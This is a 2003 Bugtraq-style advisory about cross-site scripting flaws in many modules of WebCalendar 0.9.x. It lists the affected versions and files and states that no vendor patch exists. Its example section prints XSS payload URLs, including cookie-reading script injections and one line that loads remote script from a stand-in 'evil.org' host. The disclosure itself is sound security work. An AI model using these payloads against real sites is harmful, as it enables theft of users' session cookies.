WebCalendar Multiple Cross-Site Scripting Vulnerabilities

Bugtraq ID:	8539
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Sep 03 2003 12:00AM
Updated:	Sep 03 2003 12:00AM
Credit:	Discovery is credited to noconflic <[email protected]>.
Vulnerable:	WebCalendar WebCalendar 0.9.39 WebCalendar WebCalendar 0.9.38 WebCalendar WebCalendar 0.9.37 WebCalendar WebCalendar 0.9.36 WebCalendar WebCalendar 0.9.35 WebCalendar WebCalendar 0.9.33 WebCalendar WebCalendar 0.9.31 WebCalendar WebCalendar 0.9.30 WebCalendar WebCalendar 0.9.28 WebCalendar WebCalendar 0.9.24 WebCalendar WebCalendar 0.9.19 WebCalendar WebCalendar 0.9.8 k5n WebCalendar 0.9.43 k5n WebCalendar 0.9.41 k5n WebCalendar 0.9.40 k5n WebCalendar 0.9.34 k5n WebCalendar 0.9.32 k5n WebCalendar 0.9.29 k5n WebCalendar 0.9.27 k5n WebCalendar 0.9.26 k5n WebCalendar 0.9.25 k5n WebCalendar 0.9.23 k5n WebCalendar 0.9.22 k5n WebCalendar 0.9.21 k5n WebCalendar 0.9.20 k5n WebCalendar 0.9.16 k5n WebCalendar 0.9.15 k5n WebCalendar 0.9.11
Not Vulnerable:

WebCalendar Multiple Cross-Site Scripting Vulnerabilities

It has been reported that WebCalendar is prone to multiple cross-site scripting vulnerabilites in various modules. The issues exist in includes/js/colors.php, week.php, day.php, month.php, week_details.php, view_l.php, view_m.php, view_t.php, view_v.php, view_w.php, and week_details.php modules of the software. The vulneabilities may allow an attacker to create a malicious link containing HTML or sciprt code that may be rendered in a user's browser.

Successful Exploitation of this issue may allow an attacker to steal cookie-based credentials. Other attacks may well be possible.

WebCalendar Multiple Cross-Site Scripting Vulnerabilities

The following examples have been provided:

http://www.example.com/webcalendar/colors.php?color=</script><script>alert(document.cookie)</script>
http://www.example.com/webcalendar/week.php?user="><script>alert(document.cookie)</script>
http://www.example.com/webcalendar/week.php?eventinfo=<script>alert(document.cookie)</script>
http://www.example.com/webcalendar/week.php?eventinfo=<script src=http://www.evil.org/evilcode.js</script>

WebCalendar Multiple Cross-Site Scripting Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

WebCalendar Multiple Cross-Site Scripting Vulnerabilities

References:

• WebCalendar (SourceForge)
  
• Webcalendar <= 0.9.42 Cross Site Scripting Attacks and Potential SQL Injection (noconflic )